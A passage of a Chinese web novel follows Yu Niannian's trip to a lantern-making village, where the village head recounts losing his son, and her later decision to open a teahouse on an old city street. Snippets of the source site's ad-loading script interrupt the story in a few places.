“最美旅游村落!”大妈接过话头,伸出两只手指,“第二年就实现嘞,旅游收入翻了好几番,市里领导都来十几波咯!” 余念念想到什么,与白砚对视一眼,指着正被村民挂到回廊檐下的灯笼,问:“那这灯笼,确实是洪家村的历史文化遗产么?” 大妈又笑起来,指指胖大爷:“这个没得假!就是他们洪宝来家的祖传技艺!本来差点都要失传了,又被村长救活咯!现在你看,红火得很!” 胖大爷脸上带着不无得意的笑容:“反正,村长让我们干啥子我们就干啥子,他不会害我们嘞。” 怕什么来什么。 村长忙完灯笼,回到主桌坐下没几分钟,便开始张罗给余念念和白砚两人敬酒。 “这可是赵主任介绍来的贵客,大城市来的精英!我们给他们敬一杯!” “你们是一对吧?真般配!”之前跟余念念说话的大妈端起酒杯。 “那还用说!男娃俊女娃美,来来来,祝你们百年好合!”胖大爷不甘落后地跟他们俩碰了碰酒杯。 “不不不,你们误会了!我们不是一对,我们是——”余念念顿住,扭头看了白砚一眼,他俩是什么呢?朋友?同事?甲方乙方?债主和债务人?好像都不是…… 见余念念堵住,村长饶有兴味地打量两人一番,眼珠子在桌上其余人那里滴溜溜示意一圈:“懂了嗦!这是还差临门一jio!” 桌上哄然大笑,余念念脸上通红,白了淡定自若的白砚一眼,低喊:“你就不解释一下!” “这么多人呢,解释得过来么。” 如他所料,村里人好客又八卦,村长的“临门一jio”流传出来后,后面的祝福蜂拥而至。 “走的时候从宝来叔那带一对儿鸳鸯灯笼,灵得很!” “直接带喜字灯笼多好!” “明年这个时候带娃再来耍!” …… 余念念放弃抵抗,学着白砚的样子,微笑颔首,来者不拒,一饮而尽。好在村长不想让远来的客人喝醉,早在第二桌就将他们的酒换成了饮料。 百家宴临近尾声时,村长冲余念念和白砚招了招手,又拍了拍胖大爷的肩膀:“走,宝来叔,带客人去你的灯笼铺看看!” 灯笼铺在村里深处,跟着村长一行人顺着平整的村道走过去,遥遥几个大字“洪宝来灯笼铺”朴实无华地依次张贴在六个大大的灯笼下,将一间房屋的门前照得通亮。 胖大爷走上前,推开门,里面是一间宽敞明亮的大开间,七八张桌子分散在四处,几个年轻人在桌前忙活着什么,见到胖大爷和村长进来,一个个都起身打起招呼。 胖大爷冲他们挥挥手,又回头对余念念说:“他们是这里的学徒,自愿留下来练当天的手艺,可不是加班嗦!” 余念念挤了挤眼睛笑道:“宝来大爷,您不担心祖传的技艺被我们偷师学了去么?” 胖大爷傲娇地摆了摆手:“哪那么容易!我们家的灯笼,不光是手艺独特,选的竹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子也有讲究!要选这附近山里长到特定年份的竹子,多一年不行,少一年也不行,你们外人没我们带着,一点都摸不着头脑!” 说着,他招呼一张桌前的年轻小妹妹拿了两个灯笼的半成品,一人一个递到余念念和白砚手上,又给他们找来片好的细竹条和红色的灯笼布,让他们自己动手做一个灯笼出来。 “做好了,带回去做纪念品!” 余念念和白砚找了个空着的桌子坐下,学着别人的样子开始动手。白砚细长的手指格外灵巧,竹条在他手里上下翻飞,不一会儿灯笼就有了完整的样子。余念念就费力许多,又不愿意让白砚看出来,偏过身子,磕磕绊绊遮遮掩掩地,也做好了七七八八,只是比白砚那个略丑了一点。 村长跟胖大爷唠了一阵嗑,绕到他们桌边看了眼,见他们都快做完了,赶紧让他们停下,神秘兮兮地说:“还有个仪式!” 他从两人手里各抽出一根竹条,让他们各自用右手拿着,又把他们俩的左手手掌摊开,指导:“你们要在心里想个吉祥话,用这根竹条写到对方手心里,然后把竹条包进灯笼里,做好的灯笼送给对方,这样,你们的吉祥话就都能实现咯。” 嗯,余念念冲白砚点点头,听上去是个很有仪式感的仪式。 白砚想了想,率先在余念念手中写了个“顺”字,余念念笑着道了声谢。 轮到余念念写,她在白砚手心刚点了个点,他便浑身一抖,将手抽了回去。 “怎么啦?疼么?”余念念惊道,用竹条在自己手心划拉了一下,“不尖呀。” 白砚像是不确定什么似的,慢吞吞将手又伸了出来,瞪着余念念手中的竹条。 余念念于是又伸手去写,这次,坚持了两笔,白砚便低头闷哼一声,飞快将左手收回去,用右手用力抚住手心,呼吸都有些急促。 余念念瞪大眼睛:“你这么怕痒?” 白砚脸上肉眼可见地浮出一层薄红,因为皮肤白皙,红得格外明显。 余念念几乎憋不住笑,白砚现在的样子活像是被她轻薄的清纯仙子,但她不敢说出来,她一本正经地清了清嗓子,用力拽过白砚的左手:“仪式不能少,看我的!” 说着,飞快在白砚手心画了个“6”,冲他笑道:“咱俩连起来,就是66大顺!” 一人拎着一个灯笼出去时,正好路过一张桌子,桌上一男一女两个年轻人也在收尾手上的灯笼。余念念停下来看了会儿,见他们就要完成最后一步,问道:“你们怎么不做仪式?” 桌上两人不解地抬头看着她:“什么仪式?” “就是,互相用竹条在对方手心写吉祥话的仪式呀。” 那两人互相对视一眼,又一起摇摇头:“我们天天在这里做灯笼,从没听过这个仪式。” 余念念和白砚交换一个眼神,反应过来什么,白砚闭眼做了两个深呼吸,余念念环顾一圈,没找到那个矮壮的身影。 “村长!你这个骗子!” 一声怒吼穿透灯笼铺的屋顶,回荡在整个洪家村上空。 5. 银杏 当晚,他们住在洪家村唯一一家招待所里。 白砚似乎迟迟不能接受自己过于敏感怕痒这件事,从灯笼铺出来后,一路上都攥紧双手,低头不语。余念念几次开口想跟他聊聊一万块钱的事,都见他眼神飘忽面色恍惚,于是又憋了回去。 果然是天仙,连自己身体这点微不足道的弱点都不能接受,余念心想。 夜深,村里一片静谧,天地万物似乎都陷入沉睡。 ——除了在床上蛋炒饭的余念念。 翻了不知道第多少个身之后,她终于放弃入睡这件事,从床上下来,批了外套,拿了钥匙,轻手轻脚地走出房间。 外面,明月当空,远远的,银杏树的影子沐浴在月光下。 余念念深呼吸几口冷冽的空气,朝着银杏树的方向走过去,走近了,在回廊下随意挑了个地方坐下,就这么不远不近地看着树影,和更远处一团模糊的农田。 虽然远离了城市,但烦恼果然会如影随形啊……她叹了口气,觉得眼下缺了瓶酒。 正发着呆,身后突然传来一阵窸窸窣窣的声音,一个黑影从另一个方向晃荡着走向了银杏树,两只手里各拎着一只像是酒瓶的东西。 余念念大气不敢出,身体僵硬着钉在原地,只有眼神追随着黑影,只见那人——不知是人是鬼——走到银杏树下,围着树开始慢慢绕圈,时不时抬起左手,将不知什么液体撒到银杏树下,又举起右手喂自己喝一口,嘴里念念有词着什么。 保重……保佑……等我……几个关键词不远不近地飘进余念念耳朵里,让她浑身汗毛倒立,冷汗从背心渗出来。 她缓缓站起身,猫着腰,一点一点挪动脚步,试图悄无声息地离开,下一秒,脚下一硬,什么东西被踩碎,在空旷的黑夜里发出声脆响,她双手捂嘴,倒抽了一口冷气。 “谁在那里?”黑影喊道。 “村……长?”余念念听出声音,直起身应道。 两人就这么隔着树影,在昏暗的月光下直直打量着对方,几只被吵醒的不知什么鸟扑棱着从树干上起飞,发出几声不愉快的叫声。 “小余,这么晚了,你不睡觉,在这里干嘛?” “村长,这么晚了,您绕着树打转,是在干嘛?” 几分钟后,两个人并排坐在回廊下,面对着银杏树,各自恢复了镇定。 村长长长叹了口气,肩膀看上去比早些时候张罗百家宴时要塌下去不少,声音里也带上了倦意:“小余,你知道不?五年前,我还是一个有老婆,有儿子的人。” 余念念意外地看着他,她其实也注意到了,从百家宴开始,村里其他人都是一家人其乐融融地聚在一起,只有村长,一直一个人,直到宴席结束,直到去灯笼铺,又从灯笼铺出来,一直都是一个人。 “五年前,我儿子四岁,我四十二岁。我三十八岁才有了一个儿子,你就知道有多宝贝了吧,那真是含在嘴里怕化了,捧在手里怕摔了。那么宝贝的儿子,就这么丢了。” 余念念觉得心脏被重重锤了一下,不需要多么强的共情能力,只从村长平淡的叙述中,都能感受到那份痛。 “就在这棵树下面,”他抬起胳膊,指了指银杏树,“他每天傍晚都来这棵树下面玩,村里那么多小孩,每天都来这棵树下面玩…...偏偏就那天,偏偏就是他……” 他几乎说不下去,憋了不知道多久好不容易找到出口的情绪又让他停不下来。 “我知道我不该那么想,可我没法不去想,为什么偏偏是我儿子,为什么,”他抬头看向头顶的月亮,“我天天问老天爷,到底为什么,没人能告诉我。报警之后,我和我媳妇的生活就剩下一件事,就是守着电话,等,成宿成宿地不睡觉,一把一把地掉头发,到现在,我还是一根头发都没长出来。” 他笑了两声,比哭还难听,摘下帽子,露出下面裸露的头皮。 余念念眼前模糊一片,眨了眨眼,将眼泪挤出眼眶,从他手里接过帽子,替他戴回去,问:“等到结果了么?” 村长摇摇头:“对我来说,不算是结果。他们说,那时候正好有个拐卖团伙路过我们这儿,碰上我儿子落单一个人在外面玩,就带走了。我老婆接受不了,垮了,病了两年就走了。我也想走,但是不行啊,我还有老母亲,我不能就这么走了…...” “那后来呢?您怎么会变成现在这样的?” 村长笑了:“现在啥样?你是不是觉得我一肚子歪门邪道?” 余念念犹豫几秒,点点头。 村长又笑了几声:“后来,前任村长出了个损招,非让我做村长,说,要是我不做这个村长,就把这棵银杏树给铲了,你说,他是不是太狠了啊?” “他真是……太有智慧了。”余念念抽了抽鼻子,竖起个大拇指。 “我知道他的用意,他是逼我心里头装着事,装着人,有东西填着,人就被拴住了,就没那么容易走了。” “村长,您做得很成功,洪家村现在很好。” “呵呵,我没别的可研究了,所有心思都在这村子上头了,可不就寻思出些道道么,也是运气好,都往好的方向走了。” “那刚刚,您绕着树,是在……?” 村长举起左手边的东西:“可乐,我儿子以前爱喝,那时候老管着他不让喝,现在,也不知道他在哪里,活得怎么样,我想他想得厉害的时候,就到他最爱玩的地方,来陪他喝几口。” 说着,他又举起右手的酒瓶,给自己灌了口酒。 余念念看着他喝,眼中放出渴望的光芒,村长察觉到她的眼神,迟疑着从屁股兜里又掏出一只小瓶白酒,递到她面前,余念念一秒不带犹豫地接了过去。 “啊,爽!”霸道的辣意划过喉咙后,她发出声夸张的感叹。 “说说你吧。”村长说。 “我……”余念念有些说不出口,“跟您比起来,我的烦恼显得很矫情。” “嗨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,那有啥的么,都是烦恼,说说看,我给你出出主意。” 余念念于是一点点开始说,说到她好不容易才在大城市立足,说到贾福背地里对她的评价,说到家里催她回去相亲,又说到赵主任发现了她身上光。 “很多人都夸过我优秀,老师,同学,同事,甚至一些接触不多的人,但是我觉得我的内里很迷茫。” 她看着远处连成一片的农田和天际,慢吞吞地说:“我老说我要在崇安市闯出一片天地,但是,我根本不知道我为了什么……” 村长安静听她说完,沉吟片刻,伸出三个手指头:“我给你三个锦囊妙计。” 余念念喜出望外:“我一个办法都想不出来,您这儿居然一下子想出三个!您快说!” “第一,找个你喜欢的物件,喏,就像这银杏树对我一样,可以是个地方,也可以是个景儿,是个铁桩子都行,总之你就死活舍不得离开它。” “第二,找一堆你喜欢的人,就像洪家村里的人,宝来叔,老村长,一堆小屁孩,我不也被他们拴在这儿么。” 余念念点点头:“很有道理。” “那最厉害的,要属这第三计了。” “哦?快说快说!” “照理这第三计包含在第二计里边了,但是我觉得这个最重要,应该重点突出一下。” 余念念被他钓足胃口,双目圆睁,竖起耳朵。 “谈个恋爱。”村长一本正经说道,“就跟小白,我看就挺好,临门一jio的事儿,谈了恋爱,你就不用自己想为了啥了,你俩互相依靠啊你说是不是——” “村长!!!” “哎你小点声,整个村子都要被你吼起来了。” …… 第二天早上,招待所隔壁的早点铺子上,白砚早早点好早餐,吃了一半了,余念念才姗姗来迟。 白砚盯着她肿起来的眼睛和眼下浓重的一片青,皱眉问:“这是哭了还是怎么了?” 余念念回避与他的眼神接触,从桌上的筷筒里抽出两支筷子,倒过来在桌上杵了下,发出声虚张声势的动静:“这是思考人生的印记。” 白砚又看了她两眼,没有再多问什么,两人埋头吃了会儿早饭,余念念突然抬起头,远远看了眼远处的银杏树,又收回来,看向白砚。 “昨天你说崇安市里有很多地方都能看到很美的景色,你举个例子呢?” 白砚认认真真思考了几秒:“老街就有,你付了定金的那间铺子,三楼天台,就可以看到很美的景色。” “那回去后可以带我去看看么?” 白砚看着她的眼睛——黑黑的眼珠子被红肿的眼眶包裹着,显得可怜兮兮——点点头:“嗯。” 临走前,余念念又把白砚带到回廊,让他帮忙拍了张以农田为背景的银杏树全景照。 “拜拜,小豆子。”她冲银杏树低低地道了声别——这是昨晚跟村长分别时,她问到的他儿子的小名。 6. 天台 “真美啊……” 余念念的双眸被日落染成金黄色,沉浸地看着眼前的画面,喃喃道。 按照早餐时的约定,回到崇安市后,白砚在傍晚时带她登上老街靠近十字路口的第一家店铺的三楼天台,等了片刻后,太阳在老街尽头落下,一整条原本老旧的街道沐浴在日落的光晕下,成了一幅有着金色背景的巨幅剪影。 与另一个方向上高楼大厦干净利落的线条截然不同,这幅剪影杂乱繁复,低矮的屋檐,错落的电线,家家户户门口多少都堆放了一点的杂物,隔几户便从屋顶冒出来的炊烟,门洞里进进出出的人影…… “日落,是一天最温柔的时刻,不管其他时候多嘈杂,多拥挤,在日落的时候,都会被统一赋予一层暖色调的光晕,在这种光晕下,几乎一切都是美的。” “你是不是经常在这里拍照?” “没有,相机拍不出来那层光晕,只能用眼睛看。” 余念念扭过头看着白砚的侧影,夕阳同样给他染上了一层暖黄色的光,他此时看上去不仅不高冷,反而很柔和。 “我第一次听你说这么多话,谢谢你的分享。” “你误会了,我是在提醒你,日落也是一天中最煽情的时刻,人在这时不宜做决定。老旧、狭窄,拥挤,才是老街的常态。” 余念念有些意外:“你知道我来这儿的目的?” 白砚点点头:“我回来的路上给村长打了电话,知道昨晚你们聊了什么。” “……”余念念一阵语塞,“你这人,说你坦承吧,你又不直接问我。说你委婉吧,你又一点不掩饰。” “我只是想确保合作伙伴没有遭遇不好的事情,并没有要打探你隐私的意思,不过……” “不过什么?” “村长说了些我听不懂的话,比如,让我提醒你锦囊妙计里的第三计——” “啊这个——”余念念截住他的话头,干笑了两声,“你知道的,村长内心戏多得可怕,你不用知道这个。” 白砚眼里虽然还是有点迷惑,但没问什么,转回去看向老街。 余念念笑着看向老街,呼出口气:“你放心,我现在可以确定我不是一时冲动,我是真的想要租下这间店铺了。” “嗯,你想好就行。”片刻后,白砚淡淡回应。 —————— “你想好个鬼!” 第二天早上,得知余念念要租下老街店铺的沈童第一时间泼凉水。 “你知道经营一家店铺有多难么!你一点经验都没有,怎么就突然要开店了?何况,”她转回身,看了一圈身后拥挤吵闹的早餐店,把声音压低,“何况,还是在这么破的一条街上!” 余念念似乎早就预料到她的反应,将筷子上的油条浸满豆浆,往嘴里塞了一口,满足地叹了口气,冲沈童感叹:“你知道我想念这种吃法有多久了么?” 身后,早点铺老板老孙来给他们送茶叶蛋,听到她的话,插进来问:“这吃法有啥好想念的,不是想吃就能吃么?” “孙叔,你不知道,对社畜来说,坐着慢悠悠地吃一顿早餐,是一件多么奢侈的事情。” 老孙笑着退出去,余念念对沈童说:“你是不是觉得,我是受了贾福的刺激,一时冲动才做的这个决定?” “难道不是?” “本来我也是以为是,但经过这两天,我觉得可能不是了。” “这两天发生了什么?” 余念念咽下嘴里的油条,思考片刻后,说:“可能是,受到两个贵人的指点。” 沈童在对面皱起眉头,余念念补道:“不是你以为的那种贵人,是很有智慧的人,愿意告诉我一些东西,所以对我来说很珍贵,所以,也是贵人的一种。” “说重点!” “重点就是,他们都活得很清醒,并且看出来我活得很不清醒。我在崇安这么久,天天说我要在这里扎根,但我没有爱上这里的任何一样东西,我甚至对整个城市都很陌生,我熟悉的只有丰岚的办公楼,我每天一睁眼就只能看到工作、贾福、甲方,一闭眼就只能想到第二天的会议和要改的方案。我的世界就这些东西,所以,当发现贾福没有按照我以为的承诺给我那个头衔的时候,我的整个世界就崩塌了。你不觉得很可笑么?我的世界居然这么狭隘。” 沈童看着她的眼睛,微微点点头:“你说得有点道理,那你的贵人给你什么建议了?” “他们没给具体的建议,是我从他们身上看出来的。我需要爱上一些什么,守护一些什么,有了这些,可能自然会成为像他们那样强大的人吧。” “那这和你要租店铺有什么关系?” 余念念有些小兴奋地放下筷子,凑近沈童说道:“这家店铺的三楼天台,有绝美的日落,我已经爱上了。” 沈童脸上闪过一丝抽搐:“你以前蓬头垢面加班到半夜的时候我怎么没发现你骨子里的这点浪漫呢?” 余念念笑起来:“等签了合同,拿到钥匙,我带你上去看。” 这时,一道中气十足的女人声音从早餐店门口传进来:“小余!” “李婶!早啊!”余念念冲她挥挥手,又给沈童介绍:“这是我房东,李婶,我住在他们家二楼。” 李婶脸上挂着掩盖不住的笑意,快步走到余念念身旁,弯腰搭着她的肩膀,边打量她的脸,边神秘兮兮地说:“小余,昨晚——?” “昨晚?昨晚怎么啦?” “还瞒着呢,我都看到了,昨晚你和白老的孙子在街上手牵手遛弯呢!” 听到这话,沈童瞪大了眼睛,余念念惊恐地冲她疯狂摆手,扯住李婶的胳膊:“李婶你可别瞎说!我们啥时候手牵手了!” “哦,没有牵手?那遛弯是真的喽?” “那也不是遛弯!是我要租他们家的店铺,他带我去看!” 李婶惊讶地张开嘴,音量骤增:“莫非白老要把那间铺子给你做彩礼!” 啪嗒!——沈童手中的筷子掉到桌子上,重重拍了下桌面:“好你个余念念!跟我扯半天虚的,最重要的事情瞒着我!” 早餐店里也炸了锅,原本各自埋头吃早饭的面孔全都抬起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来望向余念念,脸上全是八卦的神色。 “白老的铺子又要开张了?那铺子之前可黄了好几次了!” “你说他孙子谈恋爱了?就跟这姑娘?” “哟那可真是头一遭啊!小白那孩子瞅着跟冰棍似的,居然也会找女朋友!这姑娘倒是真水灵!” “......” 门口,老孙丢下滚烫的油锅和炸了一半的油条,举着长长两根筷子冲进来:“小余,小白那样儿的你受得了啊?” 李婶一跺脚:“哪样儿啊?人家小白长相才华都没得挑,就是性格看上去冷了点儿,咱小余喜欢就行!” 余念念咽了口口水,觉得自己说什么都像一滴水砸进油锅里,除了让这锅油炸得更响,什么也盖不住:“我......他......你们别说了......真不是你们说的那样......” 正人声鼎沸间,门口飘进来一道招呼声:“孙叔?” 一下子,整个早餐店安静下来,所有人各自回到自己桌前,埋下头,继续吃早餐,老孙紧走两步回到门口摊子上,笑着问:“哎,小白啊,给你爷爷买早餐?还是老样子呗?” 白砚点点头,面无表情地扫码付款。 老孙利索地捡了几样早餐,装好递过去,看着他走远了,回转身子,对上余念念目瞪口呆的脸。 “孙叔你......”余念念顿住,又回头看了早餐店里的人,“你们......” 李婶刚刚站着不说话,这时又满脸笑呵呵地凑过来:“小白这孩子太冷冰冰了,小时候我们还逗逗他,长大了越来越老成了,我们可不好去逗他的!” “那你们就逗我?”余念念大喊,“李婶,你们老街人怎么欺软怕硬的!我严重抗议!” 李婶和孙叔互相看了一眼,笑了,其他人也跟着笑起来。 “小余,时间长了就熟了,老街上都知根知底的!” “哈哈,就是!我们不是欺软怕硬,我们是有相处的默契!” 沈童回过神来,三两口把剩下的早餐全塞进嘴里,站起来拉余念念的胳膊:“刚刚那男的就是跟你私定终身的人?快起来,带我去会会他!” 余念念一把捂住她的嘴巴:“你就别给我添乱了!他是我要租的店铺主人白爷爷家的孙子,才认识没两天呢,昨晚他就是领着我去店铺看了看,其他什么也没有。” 沈童眯起眼睛:“真的什么也没有?” “真的!你又不是不知道,我喜欢温柔体贴型的,白砚人挺好的,但这种高冷天仙的性格,我实在是无福消受。” 说着,她站起身,冲李婶和老孙道了别,挽住沈童的胳膊,出了早餐店,左右打量了一番长长的老街街道,清了清嗓子,正声道:“今天喊你来是有正事的!” 沈童高高挑起眉头:“一早上信息量如此之大,居然还没到正事?” “当然!今天,我们要对老街做实地调研,为我余念念的店铺规划方案做充足准备!” “嗯,不如——从天仙男他们家开始?” “你闭嘴!” 7. 调研 当天是周末,从老孙的早餐店出来时,不过早上八九点,老街上,一些相熟的街坊邻居边走着,边互相打着招呼,手里拎着刚买的菜或者早饭,间或,几个不需要睡懒觉的小孩奔跑追逐着从余念念和沈童身边穿过。 “这就是我的店了。”走到十字街口时,余念念冲着老街入口的第一家店铺扬起手。 沈童瞥了眼她臭屁的样子:“合同还没签呢,就你的店了?这间店铺虽然地处繁华的十字路口,但临着三条商业街,人流很容易就流向其他三个方向了,普通的生意恐怕没有竞争力。” 余念念点点头:“我问过白砚了,这间店铺之前几次商户都没撑过一年,有卖奶茶的,有开咖啡馆的,还有开书店的,都是针对老街外的年轻客群,如你所说,确实竞争不过对面。” “亲爱的,这是地狱开局呀!现在后悔还来得及,老老实实投简历找工作,你的工作经验找个比丰岚更好的公司不在话下。” “哎你还真别说!我的工作经验对我开店说不定更有帮助!前面几个租户已经帮我排除了错误答案,我要做的,就是找到正确答案,我觉得,这个答案应该在老街里面找。” 从街口往里走,是长长的窄窄的街道,临街的房子都只有两三层,有的将一层作为店铺,经营些小生意,比如老孙家的早点铺。有的不做生意,整栋都是住宅,比如李婶家,自己住一楼,冲着街开了门,里面还有个小院子,二楼或三楼可以出租。还有的,便是像余念念要租的,整栋都作为店铺对外出租。 “住宅、住宅、裁缝铺、住宅、早点铺、小卖部、住宅......一半都是住宅,剩下的基本都是一些住户自己做的小买卖,一般这种老街区的住户,都习惯货比三家,单纯拼货品和价格,应该是不行的,得深挖一些需求点。”余念念一边走着,一边做起分析。 “嗯?”沈童突然眼睛一亮,指着一块褪了色的暗红色招牌,“老潘照相馆——我很久没进过这种老照相馆了,没想到这条街上有,小时候我妈每年都要带我去我们老家那儿的照相馆照张相。” “进去看看!” 推开照相馆的玻璃门,里面还有一层布帘子,掀开进去后,外面的光线被阻隔了大半,一片昏暗,屋子中间一张桌子,桌上摆着些相机和其他装备,没有人出来招呼她们。 沿着墙,是一面照片墙,墙面上挂着或大或小的照片,有全家福,也有单人照,她们顺着墙面往前走,光线越来越暗,墙上的照片渐渐看不清颜色,只能看到一张张脸和一双双眼睛在看着她们。 沈童挽住余念念的胳膊,脚步逐渐僵住,低声道:“念念,我们出去吧,我有点慎得慌。” 余念念心里也有点发毛,但还是硬着头皮往里走:“我们得采访下老板,毕竟,这......这家店在老街上挺特殊的。” 一点点往里挪着,墙面尽头出现一张高桌,桌上像是也摆着些照片,但不知为什么,有若有若无的烟雾在桌边缭绕。 “老......老板?”余念念一边低声问,一边带着沈童往里走,某个瞬间,她感觉到沈童的身体突然彻底僵硬了,她扭头看,见沈童缓缓举起双手,捂住嘴,双目圆睁,瞪着尽头处的桌子。 “是......是供台......” 余念念顺着她眼神看过去,终于看清那张桌子上摆着两幅黑白照片,照片前,一只小小的香炉中,点着的几根香烛正冒着丝丝的烟雾。 ...... 一片死寂中,余念念和沈童的手臂紧紧拧在一起,两人一点一点挪动着,原地转身。 “是谁?”一道低沉的男人声音在旁边骤然响起,吓得她们“啊!”地一声紧紧抱在一起。 下一秒,供台旁边的一道木门被“吱呀——”一声推开,一个有些臃肿的身躯迈出来,身后拖着一根长长的条状物,顶端拖在地面上发出刺耳的摩擦声,就着昏暗的光线,一张有着狰狞沟壑的脸在烟雾缭绕中显现。 “啊啊啊啊!!!” 余念念和沈童爆发出歇斯底里的尖叫,冲着门口夺路而去,边跑边大喊着:“救命啊!!”“你别过来啊!!”“对不起打扰了!!”“放过我!!”...... 慌不择路地冲出照相馆后,她们又往前跑了一阵,看到间宽敞明亮的店铺开着门,便一头扎进去,冲进店铺前台后,抱着对方瑟瑟发抖。 “......”白砚坐在桌前,皱着眉,一脸看不懂的表情瞪着他们。 “白砚!”余念念看到他,带着沈童躲到他背后蹲下,颤抖着喊道:“快救救我们!” 白砚站起身,往店铺外张望片刻,又回过头,居高临下俯视着余念念,眉头皱得更深:“一大早的,演什么剧本呢?” 余念念缓缓站起来,从他肩膀上望出去,街道斜对面的照相馆玻璃门关着,门口空无一人,那个鬼一样的男人并没有追出来。 她按着胸口顺了顺气,指着照相馆,惊魂未定地说:“那里有鬼!” 白砚眼里闪过一丝了然,转到桌子另一侧,给她们倒了两杯水:“哪有什么鬼,那是老潘。” “你认识他?” “老潘照相馆开了几十年了,当然认识,他一个人住,不爱开灯,店里总是黑乎乎的。” “那他的脸是怎么回事?” “以前出过意外,留了疤,所以他也不爱出门。” “他还有武器!这——么长一根铁棍!”余念念把双手大大张开。 “腿上也有伤,那是他的拐杖。” “哦......”余念念长出一口气,这才想到一旁的沈童,忙介绍,“这是我朋友,沈童,陪我一起来老街调研的。” 沈童还没从惊吓中回过神来,惨白着一张脸,有气无力道:“天仙你好。” 余念念在背后掐了一把她的腰,她一下子绷直了身体,大声道:“我是说——你刚刚就像天仙下凡,安抚了我们两颗遭受暴击的心灵!” 白砚没多问什么,给她们的杯子里加了些热水,又走到店铺一角的小茶几上,点了根檀香,片刻后,一股沁人心脾的沉香飘散在空气中,配上墙上四处挂着的字画,令人不由自主放松下来。 “白爷爷呢?”余念念问。她前一天才从白砚口中知道,白砚的爷爷在老街中间的地段开了间书画店铺,只是她万万没想到自己是以这样一种方式踏进这间铺子。 “去河边晨练了,还没回来。” “欸?老街边上还有河么?” “嗯,栈南河,出了铺子左拐小巷穿过去就是,早上很多老街住户都到河边遛弯,你要是想做店铺调研的话,可以去逛逛。” 余念念眼睛亮起来:“太好了,多谢!” —————— 依照白砚的指引走出小巷,果然,一条细长的河流横陈在眼前,河边两岸修了漫步道,靠近老街的这一侧每隔几步就见一两个晨练的人,有的打太极,有的舞剑,有的跑步完了在压腿,各自忙着各自的,一派和谐,互不干扰。 往 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前走了一段,一棵高大的榕树下,聚了一群人,时不时发出阵阵争执,余念念和沈童走近了,发现清一色全是头发花白的大爷,足有十来个。 “老王这步棋走臭了!” “哪儿臭了?你没看懂别瞎说!” “老魏你说!这是不是下臭了!” “老魏才不跟你明说呢!人家都憋心里!跟你似的看棋还话这么多!” 余念念凑到人群边,伸头往里张望一眼,原来是围着张石桌下象棋,桌边只有两个凳子,坐了一胖一瘦两个大爷,都皱巴着一张脸,一看就在苦苦思索。胖一点的大爷拿起手边的茶杯,往嘴里送,送了一半发现没水了,“啧”了一声放下了。对面瘦一点的见了,脸不皱了,笑起来,乐呵呵地拿起一旁还有大半杯水的茶杯,捂着手。 “老魏茶喝完了,要输喽!”围观的一个大爷说道。 其余围观者听了,都笑起来,跟着后面半开起玩笑,站的坐的,一张嘴都哈出白气,时不时的就得跺跺冻僵的腿脚。 余念念看了一阵,跟站在最外面的一个大爷搭话:“大爷,这大早上的,在河边露天下棋,不冷么?” 大爷两只手都揣在袖子里,闻言扬起眉毛:“当然冷啦!那不是没办法么,就好这口!” “那怎么不在家里下,或者在老街巷子里下也行啊,还能挡挡风呢。” “嗨!家里人嫌吵,我们这群人嘴都碎,静不下来,巷子里又窄,我们堵在哪家门口,那家门口就要堵上了!” “哦,原来如此。”余念念又观察一番,见每个大爷手里都捧着个茶杯,基本上都喝完了,于是又问:“也不带个热水来续茶么?” 大爷有些不好意思地笑了:“以前带,轮流带,结果带来老忘了带回去,要么就摔了,回家挨骂,后面就不带了。” 正说着,一位头发花白的大妈挤进来,手里拎着个暖水壶,挤到坐在桌边的瘦大爷身边,抢过他手里的茶杯,往里加热水,边加嘴里边念叨:“大冷天的这棋是非下不可么,怎么不冻死你!” 瘦大爷嘿嘿地陪着笑,笑里面又带着些得意,见大妈转头又要去给胖大爷添水,夸张地大声喊:“别给老魏加!加了他思路又跟上了!” 大妈显然懒得理他,对着胖大爷时脸上带了几分笑意,胖大爷也笑着跟她道谢。加完水,她风风火火地要走,被围观的大爷留住。 “桂云,来都来了,给点热水!” “嘿,我也来点我也来点!” 被叫作桂云的大妈翻了个白眼,将暖水瓶往其中一个大爷手中一怼,扭头就走了。 余念念盯着大妈离开的背影,眼珠子转了几转,又问刚刚那个大爷:“咱这里面,下棋下得最好的是谁啊?” 大爷思索片刻,答道:“老王和老魏,哦,就是坐着的那俩,下得都不赖,但其余人也不差,比如我,偶尔也能赢他们俩。” 旁边几个大爷听到了,笑起来:“老刘你真好意思!偶尔是多偶尔,上回赢是前年了吧!” “就是啊,这里面你的棋是排倒数的臭!” 刘大爷梗起脖子不服:“是你们老不让我上场!我跟你说,明天让我和老魏下一把,我让他跌下神坛!” 众人发出一阵嘘声:“你可拉倒吧!”“吹牛!”“你还是回家逗鹦鹉去吧!” 余念念和沈童对视一眼,发现对方跟自己一样在憋笑,一时憋不住,齐齐乐出声来。 “我好像有思路了!”乐完,余念念兴奋地宣布。 8. 夜谈 从河边回来,已经临近中午了。 余念念请沈童吃了一顿火锅大餐,一来是答谢她一上午的陪伴和建议——虽然泼冷水居多;二来是安抚她在照相馆受到惊吓的心灵——虽然染了一头看起来不好惹的红发,但她其实胆小如鼠。 将沈童送上回家的出租车后,余念念看了眼手机,时间差不多两点出头,估摸着她爸应该在去上班的路上了,于是打了个电话过去。 “喂,念念?”余爸很快接起来,声音里有些意外——余念念很少往他的手机上打电话,一般都是趁晚上他们都在家的时候给她妈打,有事说事,聊到快挂了了才喊上他草草打个招呼。 “爸,您一个人么?我妈不在旁边吧?”余念念不由自主放低音量,透着点做贼心虚的味道。 “嗯我一个人呢,你妈不在,怎么啦神神秘秘的?” “我记得您每年都去下面的镇上或者乡里买茶叶,肯定认识靠谱的茶商吧?” “确实认识几个,你问这个干嘛?” “我......”余念念犹豫片刻,觉得瞒不了一辈子,不如从她爸这儿开始挑软柿子,哦不,循序渐进式坦白,“我要开茶馆,您给我个靠谱茶商的联系方式。” “你要干什么?”余爸以为自己听错了,声音高了几个八度。 “我辞职了,要开茶馆,您先别告诉我妈,后面我自己找机会告诉她。” “......”对面陷入一阵沉默。 